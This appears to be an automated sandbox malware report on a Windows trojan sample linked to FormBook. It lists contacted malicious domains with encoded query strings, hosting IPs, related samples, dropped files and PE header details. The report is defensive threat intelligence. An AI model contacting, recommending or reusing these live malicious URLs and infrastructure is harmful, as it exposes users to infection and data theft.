http://www.doggieradio.net/szy7/?F2=K8R7SnSfb7dli3eXRAD3SnntsVSSj1ZCjsRlCzIsDWJUxclcgzVYTq7f6N7/UKjTBpPX3WVoPH/v0tj5Dmk2zyO1xKTiz6oBrNu4Rs3SGBcTrpTqDeJ9pPLW36ghW+11Rw==&sHS=543hApwHD	0%	Avira URL Cloud	safe
http://www.shanhaiguan.net/b6g5/?F2=a8QqMioE13Jt2iPiOClkfJLiI6soJM7xy7KAtya8ruOCNgqe2jC0xyltzPPw7ePD7gDMaG5P8Bx9i7otBFrS2CJxsBKcruwu6mzHCImmdlnckGZwJuxb62mJXIzJiBU08Q==&sHS=543hApwHD	0%	Avira URL Cloud	safe
http://www.es-lidl.online	0%	Avira URL Cloud	safe
http://www.palcoconnector.net/bnrz/?F2=OQxwzbuOtqgqEYELNcMucZtHnRjB34c8S/VejUlVZtuveUVj7y4E7KtMGd+fy1MLwhM03wpJ8ksC3Umpmq485u0/vrhbrCPm9Wbu3FX/PMpZ3p2821/Za72d+YrU3sps/g==&sHS=543hApwHD	0%	Avira URL Cloud	safe
http://www.demovix.xyz/azuc/?F2=IEG0cbQocDdgsf0hXa+uAMZkMIV+L9dmDWmvXBjU8TDCB1WiaKjeRQjMK7ZBG/72TlyV3qB8EHQj0nSZZfMRjS9f0ml2OHl666AhHB2VhosEmVxlyD8Sfr3+gvtJ58MzMw==&sHS=543hApwHD	0%	Avira URL Cloud	safe
http://www.es-lidl.online/n2dv/	0%	Avira URL Cloud	safe
http://www.palcoconnector.net/sk-logabpstatus.php?a=bXhMcnlwZUVZbkR2TkpqRG0xWnc5ZTNMZlFTSjFybmRCeWl0	0%	Avira URL Cloud	safe
http://www.demovix.xyz/azuc/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
doggieradio.net	3.33.130.190	true	true	unknown
www.palcoconnector.net	208.91.197.27	true	true	unknown
promasterev.shop	3.33.130.190	true	true	unknown
es-lidl.online	84.32.84.32	true	true	unknown
childlesscatlady.today	3.33.130.190	true	true	unknown
www.demovix.xyz	199.192.19.19	true	true	unknown
www.falconclub.online	74.208.236.25	true	true	unknown
www.shanhaiguan.net	156.242.132.82	true	true	unknown
multileveltravel.world	3.33.130.190	true	true	unknown
www.es-lidl.online	unknown	unknown	true	unknown
www.multileveltravel.world	unknown	unknown	true	unknown
www.childlesscatlady.today	unknown	unknown	true	unknown
www.animekuid.xyz	unknown	unknown	true	unknown
www.mtcep.org	unknown	unknown	true	unknown
www.promasterev.shop	unknown	unknown	true	unknown
www.doggieradio.net	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.promasterev.shop/abrg/?F2=GnAJmiRPPiyH2TmfuBVnsZoXdGf0FUPFySgQhtVOM4GwnDq9Dnvh9ePCWYtJxLLAU+yG0d2c2V85YMiF3u+CXoS/lp19JNeFf5Feq2s9J88WlfAexgO/UytfAJO4SOXJGQ==&sHS=543hApwHD	true	Avira URL Cloud: malware	unknown
http://www.shanhaiguan.net/b6g5/	true	Avira URL Cloud: safe	unknown
http://www.childlesscatlady.today/itly/?F2=tsSBdLA6gv84Y8GcYug/jDCyCw8YLYxClZSiOA0GXKnW8CsuEbQ9YFwfaGPSJlWcPZlV2TdpOPQww8tdSTouFUFoXNGv3nAP+8PLYYLXnvdwJlki1+XL6LziD5lvjPEK7Q==&sHS=543hApwHD	true	Avira URL Cloud: safe	unknown
http://www.palcoconnector.net/bnrz/	true	Avira URL Cloud: safe	unknown
http://www.promasterev.shop/abrg/	true	Avira URL Cloud: malware	unknown
http://www.falconclub.online/sld7/	true	Avira URL Cloud: malware	unknown
http://www.doggieradio.net/szy7/	true	Avira URL Cloud: safe	unknown
http://www.multileveltravel.world/hfue/?sHS=543hApwHD&F2=GzF3o7eza1dU4F476cHHeral/cYJG+FCwgJMIz0HPlfrSCMBDVuQfjGNmxBd7moVrhCGY2hY7MCgK+Mnekgs9Dtqmg1if+oIl65BopybHLADU68if1oWKFmqENabDE70MA==	true	Avira URL Cloud: safe	unknown
http://www.falconclub.online/sld7/?F2=/serfU6kaxhlkkJx8dOr0qlSRXA+6La0KEB68G6jbYfyT6z2zvVJBFhkOYA104kn6FRHm7lAc7gn2TRu9DlzyIrvo6u+6+g1Ilwo5dhHoQBd/NfHtrD7TOfEhTSvK6UN8A==&sHS=543hApwHD	true	Avira URL Cloud: malware	unknown
http://www.childlesscatlady.today/itly/	true	Avira URL Cloud: safe	unknown
http://www.demovix.xyz/azuc/?F2=IEG0cbQocDdgsf0hXa+uAMZkMIV+L9dmDWmvXBjU8TDCB1WiaKjeRQjMK7ZBG/72TlyV3qB8EHQj0nSZZfMRjS9f0ml2OHl666AhHB2VhosEmVxlyD8Sfr3+gvtJ58MzMw==&sHS=543hApwHD	true	Avira URL Cloud: safe	unknown
http://www.es-lidl.online/n2dv/	true	Avira URL Cloud: safe	unknown
http://www.palcoconnector.net/bnrz/?F2=OQxwzbuOtqgqEYELNcMucZtHnRjB34c8S/VejUlVZtuveUVj7y4E7KtMGd+fy1MLwhM03wpJ8ksC3Umpmq485u0/vrhbrCPm9Wbu3FX/PMpZ3p2821/Za72d+YrU3sps/g==&sHS=543hApwHD	true	Avira URL Cloud: safe	unknown
http://www.doggieradio.net/szy7/?F2=K8R7SnSfb7dli3eXRAD3SnntsVSSj1ZCjsRlCzIsDWJUxclcgzVYTq7f6N7/UKjTBpPX3WVoPH/v0tj5Dmk2zyO1xKTiz6oBrNu4Rs3SGBcTrpTqDeJ9pPLW36ghW+11Rw==&sHS=543hApwHD	true	Avira URL Cloud: safe	unknown
http://www.demovix.xyz/azuc/	true	Avira URL Cloud: safe	unknown
http://www.shanhaiguan.net/b6g5/?F2=a8QqMioE13Jt2iPiOClkfJLiI6soJM7xy7KAtya8ruOCNgqe2jC0xyltzPPw7ePD7gDMaG5P8Bx9i7otBFrS2CJxsBKcruwu6mzHCImmdlnckGZwJuxb62mJXIzJiBU08Q==&sHS=543hApwHD	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.palcoconnector.net/px.js?ch=2	RpcPing.exe, 00000005.00000002.3367266886.0000000004462000.00000004.10000000.00040000.00000000.sdmp, RpcPing.exe, 00000005.00000002.3368903830.0000000005CF0000.00000004.00000800.00020000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000006.00000002.3365902751.0000000003792000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.palcoconnector.net/px.js?ch=1	RpcPing.exe, 00000005.00000002.3367266886.0000000004462000.00000004.10000000.00040000.00000000.sdmp, RpcPing.exe, 00000005.00000002.3368903830.0000000005CF0000.00000004.00000800.00020000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000006.00000002.3365902751.0000000003792000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	RpcPing.exe, 00000005.00000003.1993105571.000000000773E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dts.gnpge.com	IpIaYUETnYWFH.exe, 00000006.00000002.3365902751.0000000003792000.00000004.00000001.00040000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	RpcPing.exe, 00000005.00000003.1993105571.000000000773E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	RpcPing.exe, 00000005.00000003.1993105571.000000000773E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css	RpcPing.exe, 00000005.00000002.3367266886.00000000042D0000.00000004.10000000.00040000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000006.00000002.3365902751.0000000003600000.00000004.00000001.00040000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RpcPing.exe, 00000005.00000003.1993105571.000000000773E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	RpcPing.exe, 00000005.00000003.1993105571.000000000773E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	RpcPing.exe, 00000005.00000003.1993105571.000000000773E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	RpcPing.exe, 00000005.00000003.1993105571.000000000773E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdnjs.cloudflare.com/ajax/libs/gsap/3.1.1/gsap.min.js	RpcPing.exe, 00000005.00000002.3367266886.00000000042D0000.00000004.10000000.00040000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000006.00000002.3365902751.0000000003600000.00000004.00000001.00040000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	RpcPing.exe, 00000005.00000003.1993105571.000000000773E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.es-lidl.online	IpIaYUETnYWFH.exe, 00000006.00000002.3367695283.0000000004D3A000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css	RpcPing.exe, 00000005.00000002.3367266886.00000000042D0000.00000004.10000000.00040000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000006.00000002.3365902751.0000000003600000.00000004.00000001.00040000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	RpcPing.exe, 00000005.00000003.1993105571.000000000773E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.palcoconnector.net/sk-logabpstatus.php?a=bXhMcnlwZUVZbkR2TkpqRG0xWnc5ZTNMZlFTSjFybmRCeWl0	RpcPing.exe, 00000005.00000002.3367266886.0000000004462000.00000004.10000000.00040000.00000000.sdmp, RpcPing.exe, 00000005.00000002.3368903830.0000000005CF0000.00000004.00000800.00020000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000006.00000002.3365902751.0000000003792000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
156.242.132.82	www.shanhaiguan.net	Seychelles	132839	POWERLINE-AS-APPOWERLINEDATACENTERHK	true
208.91.197.27	www.palcoconnector.net	Virgin Islands (BRITISH)	40034	CONFLUENCE-NETWORK-INCVG	true
84.32.84.32	es-lidl.online	Lithuania	33922	NTT-LT-ASLT	true
74.208.236.25	www.falconclub.online	United States	8560	ONEANDONE-ASBrauerstrasse48DE	true
3.33.130.190	doggieradio.net	United States	8987	AMAZONEXPANSIONGB	true
199.192.19.19	www.demovix.xyz	United States	22612	NAMECHEAP-NETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1551188
Start date and time:	2024-11-07 15:25:49 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	xBzBOQwywT.exe renamed because original name is a hash value
Original Sample Name:	648cf23613834f4fba89ced0a881139a1883bf00c1c12172fbc7ee53a143e5ef.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@16/6
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 96% Number of executed functions: 54 Number of non-executed functions: 297
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target IpIaYUETnYWFH.exe, PID 5368 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: xBzBOQwywT.exe

Simulations

Behavior and APIs

Time	Type	Description
09:27:59	API Interceptor	6093668x Sleep call for process: RpcPing.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
156.242.132.82	N2Qncau2rN.exe	Get hash	malicious	FormBook	Browse	www.shanhaiguan.net/b6g5/
	PURCHASE ORDER.exe	Get hash	malicious	FormBook	Browse	www.shanhaiguan.net/p2q3/
	NVOICE FOR THE MONTH OF AUG-24.exe	Get hash	malicious	FormBook	Browse	www.shanhaiguan.net/p2q3/
	DEBIT NOTE 01ST SEP 2024.exe	Get hash	malicious	FormBook	Browse	www.shanhaiguan.net/p2q3/
	PROFOMA INVOICE SHEET.exe	Get hash	malicious	FormBook	Browse	www.shanhaiguan.net/p2q3/
208.91.197.27	Hesap.exe	Get hash	malicious	FormBook	Browse	www.martaschrimpf.info/qr9f/
	XhAQ0Rk63O.exe	Get hash	malicious	FormBook	Browse	www.yushaliu.online/fjsq/
	D7R Image_capture 28082024 JPEG FILE.exe	Get hash	malicious	FormBook	Browse	www.7fty.space/mh5s/
	ffsBbRe8UN.exe	Get hash	malicious	FormBook	Browse	www.willtriallawyers.net/tk4w/
	QNBSWIFT.exe	Get hash	malicious	FormBook	Browse	www.martaschrimpf.info/qr9f/
	Viridine84.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.themessageart.online/1j0s/
	rDebitadvice22_10_2024.exe	Get hash	malicious	FormBook	Browse	www.molepunch.online/ya3k/
	EKTEDIR.exe	Get hash	malicious	FormBook	Browse	www.martaschrimpf.info/qr9f/
	3wgZ0nlbTe.exe	Get hash	malicious	FormBook	Browse	www.crochetpets.online/25cq/
	EqszHzzNn5.exe	Get hash	malicious	FormBook	Browse	www.antura.partners/62gk/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.falconclub.online	TUj6dgsTTR.exe	Get hash	malicious	FormBook	Browse	74.208.236.25
	zmhPgbED7M.exe	Get hash	malicious	FormBook	Browse	74.208.236.25
	N2Qncau2rN.exe	Get hash	malicious	FormBook	Browse	74.208.236.25
www.demovix.xyz	TUj6dgsTTR.exe	Get hash	malicious	FormBook	Browse	199.192.19.19
	zmhPgbED7M.exe	Get hash	malicious	FormBook	Browse	199.192.19.19
	N2Qncau2rN.exe	Get hash	malicious	FormBook	Browse	199.192.19.19
www.palcoconnector.net	N2Qncau2rN.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	AWB_5771388044 Documenti di spedizione.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	ncOLm62YLB.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	EGCS-875-S5-SMO M2A.exe	Get hash	malicious	FormBook	Browse	208.91.197.27

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
POWERLINE-AS-APPOWERLINEDATACENTERHK	h0r0zx00x.x86.elf	Get hash	malicious	Mirai	Browse	156.251.7.171
	Shipping documents..exe	Get hash	malicious	FormBook	Browse	154.92.61.37
	sora.sh4.elf	Get hash	malicious	Mirai	Browse	154.216.83.133
	nullnet_load.sh4.elf	Get hash	malicious	Mirai	Browse	156.243.251.8
	nullnet_load.spc.elf	Get hash	malicious	Mirai	Browse	156.242.206.38
	nullnet_load.arm.elf	Get hash	malicious	Mirai	Browse	156.250.157.174
	Ponta Saheb. PO 4400049817.exe	Get hash	malicious	FormBook	Browse	160.124.134.116
	.main.elf	Get hash	malicious	Xmrig	Browse	154.213.192.3
	v6pwbOEUpl.elf	Get hash	malicious	Unknown	Browse	154.92.66.248
	x86_64.elf	Get hash	malicious	Mirai	Browse	156.251.3.9
NTT-LT-ASLT	ch89yHIa99.exe	Get hash	malicious	Ducktail	Browse	84.32.84.33
	ub7ZX9i3k6.exe	Get hash	malicious	Ducktail	Browse	84.32.84.33
	uupEsxBhAI.exe	Get hash	malicious	Ducktail	Browse	84.32.84.33
	yfM67N9UUL.exe	Get hash	malicious	Ducktail	Browse	84.32.84.33
	Y7isAhMKal.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	proforma Invoice.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	Wc7HGBGZfE.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	FmmYUD4pt7.wsf	Get hash	malicious	Unknown	Browse	84.32.84.136
	icRicpJWczmiOf8.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	https://ohpky5.fj78.fdske.com/e/c/01jbx9w45rt8n7dv9hga5bx34b/01jbx9w45rt8n7dv9hgd1yw31d	Get hash	malicious	Unknown	Browse	84.32.84.121
ONEANDONE-ASBrauerstrasse48DE	https://google.com:login@login-zendesk-account.servz.com.pk/index.html	Get hash	malicious	HTMLPhisher	Browse	212.227.67.33
	sora.ppc.elf	Get hash	malicious	Unknown	Browse	195.20.246.173
	3NvALxFlHV.exe	Get hash	malicious	FormBook	Browse	217.160.0.93
	file.exe	Get hash	malicious	Unknown	Browse	74.208.236.140
	file.exe	Get hash	malicious	Unknown	Browse	74.208.236.140
	Letter of Intent (LOI) For the Company November 2024 PDF.pif.exe	Get hash	malicious	FormBook, GuLoader	Browse	217.160.0.132
	http://www.intelliclicksoftware.net/clicktrack2/click.aspx?ActionType=CreateHistory&CustomerID=GM-CSATRANS&ParentRecordID=&Campaign=Thank%20You%20For%20Your%20Business%20SR&Name=&Company=&Phone=&Email=&Subject=Click%20Through&WebNav=True&URL=http://johnvugrin.com	Get hash	malicious	HTMLPhisher	Browse	74.208.239.192
	unb4AWV6Fe.exe	Get hash	malicious	FormBook	Browse	212.227.247.44
	FzmC0FwV6y.exe	Get hash	malicious	FormBook	Browse	217.160.0.142
	Shipping documents..exe	Get hash	malicious	FormBook	Browse	217.76.156.252
CONFLUENCE-NETWORK-INCVG	Hesap.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	XhAQ0Rk63O.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	D7R Image_capture 28082024 JPEG FILE.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	ffsBbRe8UN.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	QNBSWIFT.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	Stadigheder43.exe	Get hash	malicious	FormBook, GuLoader	Browse	66.81.203.200
	Viridine84.exe	Get hash	malicious	FormBook, GuLoader	Browse	208.91.197.27
	SGS-Report0201024.xla.xlsx	Get hash	malicious	FormBook	Browse	208.91.197.27
	Invoice.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	208.91.197.27
	rHSBCBank_Paymentswiftcpy.exe	Get hash	malicious	FormBook	Browse	208.91.197.27

Process:	C:\Windows\SysWOW64\RpcPing.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1209886597424439
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8QbnVcxjONC4Je5Q:r2qOB1nxCkvSAELyKOMq+8QTQKC+
MD5:	EFD26666EAE0E87B32082FF52F9F4C5E
SHA1:	603BFE6A7D6C0EC4B8BA1D38AEA6EFADDC42B5E0
SHA-256:	67D4CAA4255418EB18873F01597D1F4257C4146D1DCED78E26D5FD76B783F416
SHA-512:	28ADD7B8D88795F191567FD029E9F8BC9AEF7584CE3CD56DB40BBA52BC8335F2D8E53A5CE44C153C13A31FD0BE1D76D1E558A4AA5987D5456C000C4D64F08EAA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\brawlys

Download File

Process:	C:\Users\user\Desktop\xBzBOQwywT.exe
File Type:	data
Category:	dropped
Size (bytes):	288256
Entropy (8bit):	7.995224158142
Encrypted:	true
SSDEEP:	6144:+bB2xfPwkPHnFW3RYb5aHiZ5RefBdtSajTX6A4Bp4fPu8ynNDSGQU:+bUx3wkfnFWXiPRevDM4fanJSG/
MD5:	53BA17D083E2CEE6D7792DAD774DE28C
SHA1:	2583E56C7CB57EC92113B48584508C1CE45C9DE8
SHA-256:	CCB8EB6A0DE026995A685E52B80238B7C3F3798982CB88F6D0815693968D2F51
SHA-512:	43CEBD5003106D68DC88D766003E3202214FF362403B1416D3AE6772BBADC21894D8F9C57A1A5ADDC0CA5B95984F1D31A2FE02CE1E6451DF10FF2B47C7501222
Malicious:	false
Reputation:	low
Preview:	.....X9WR...G......KD....TZ...NV8N52SKGP1X9WRC3JNV8N52SKGP1X.WRC=U.X8.<.r.F..ym?;0.:<9_<T_s(&>_7Mw0&.8;8.'[....p\7]2\|N>@jV8N52SK>Q8..75..)...R.I...8^.H.r6_./...{0V.k>1+.).8N52SKGPa.9W.B2J2.p.52SKGP1X.WPB8KEV8.12SKGP1X9W"W3JNF8N5BWKGPqX9GRC3HNV>N52SKGP7X9WRC3JN&<N50SKGP1X;W..3J^V8^52SKWP1H9WRC3J^V8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52}?"(EX9WF.7JNF8N5fWKG@1X9WRC3JNV8N52sKG01X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC3JNV8N52SKGP1X9WRC

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.5247721235195915
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	xBzBOQwywT.exe
File size:	1'332'289 bytes
MD5:	715ec2a53173921888b38c9731ad9bc9
SHA1:	710e6e31cbee07deb127ac9b70a4b1a31cc498f3
SHA256:	648cf23613834f4fba89ced0a881139a1883bf00c1c12172fbc7ee53a143e5ef
SHA512:	e5da1ed4b05c37e0692806e6f4fd5aba23f300c7c6e5caa9ac32f7c3dc49a64d26a52b44987376b65afd522888e1f2c34666d394ae7520125e6e15d6c33f83fc
SSDEEP:	24576:uRmJkcoQricOIQxiZY1iaC3qMDR35EktuWjfj2q+XRrtdNaAgz2JHJ:7JZoQrbTFZY1iaC3qhktuUjn+BwAQ21J
TLSH:	8955E122B5D69036C2B333B19E7FF765963D69360336D29B23C82D215EA05816B39733
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................1b.......P.).....Q.......y.......i..........}....N.......d.......`.......m.......g.....Rich............PE..L..

File Icon


Icon Hash:	1733312925935517

Static PE Info

General

Entrypoint:	0x4165c1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x4F25BAEC [Sun Jan 29 21:32:28 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	d3bf8a7746a8d1ee8f6e5960c3f69378

Entrypoint Preview

Instruction
call 00007FF54D19E1ABh
jmp 00007FF54D19501Eh
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push edi
push esi
mov esi, dword ptr [ebp+0Ch]
mov ecx, dword ptr [ebp+10h]
mov edi, dword ptr [ebp+08h]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007FF54D19519Ah
cmp edi, eax
jc 00007FF54D195336h
cmp ecx, 00000080h
jc 00007FF54D1951AEh
cmp dword ptr [004A9724h], 00000000h
je 00007FF54D1951A5h
push edi
push esi
and edi, 0Fh
and esi, 0Fh
cmp edi, esi
pop esi
pop edi
jne 00007FF54D195197h
jmp 00007FF54D195572h
test edi, 00000003h
jne 00007FF54D1951A6h
shr ecx, 02h
and edx, 03h
cmp ecx, 08h
jc 00007FF54D1951BBh
rep movsd
jmp dword ptr [00416740h+edx*4]
mov eax, edi
mov edx, 00000003h
sub ecx, 04h
jc 00007FF54D19519Eh
and eax, 03h
add ecx, eax
jmp dword ptr [00416654h+eax*4]
jmp dword ptr [00416750h+ecx*4]
nop
jmp dword ptr [004166D4h+ecx*4]
nop
inc cx
add byte ptr [eax-4BFFBE9Ah], dl
inc cx
add byte ptr [ebx], ah
ror dword ptr [edx-75F877FAh], 1
inc esi
add dword ptr [eax+468A0147h], ecx
add al, cl
jmp 00007FF54F60D997h
add esi, 03h
add edi, 03h
cmp ecx, 08h
jc 00007FF54D19515Eh
rep movsd
jmp dword ptr [00000000h+edx*4]

Rich Headers

Programming Language:

[ C ] VS2010 SP1 build 40219
[C++] VS2010 SP1 build 40219
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8d41c	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xab000	0x9328	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x82000	0x844	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8061c	0x80800	61ffce4768976fa0dd2a8f6a97b1417a	False	0.5583182605787937	data	6.684690148171278	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x82000	0xdfc0	0xe000	0354bc5f2376b5e9a4a3ba38b682dff1	False	0.36085728236607145	data	4.799741132252136	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x90000	0x1a758	0x6800	8033f5a38941b4685bc2299e78f31221	False	0.15324519230769232	data	2.1500715391677487	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xab000	0x9328	0x9400	495451d7eb8326bd9fa2714869ea6de8	False	0.49002322635135137	data	5.541804843154628	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xab5c8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xab6f0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xab818	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
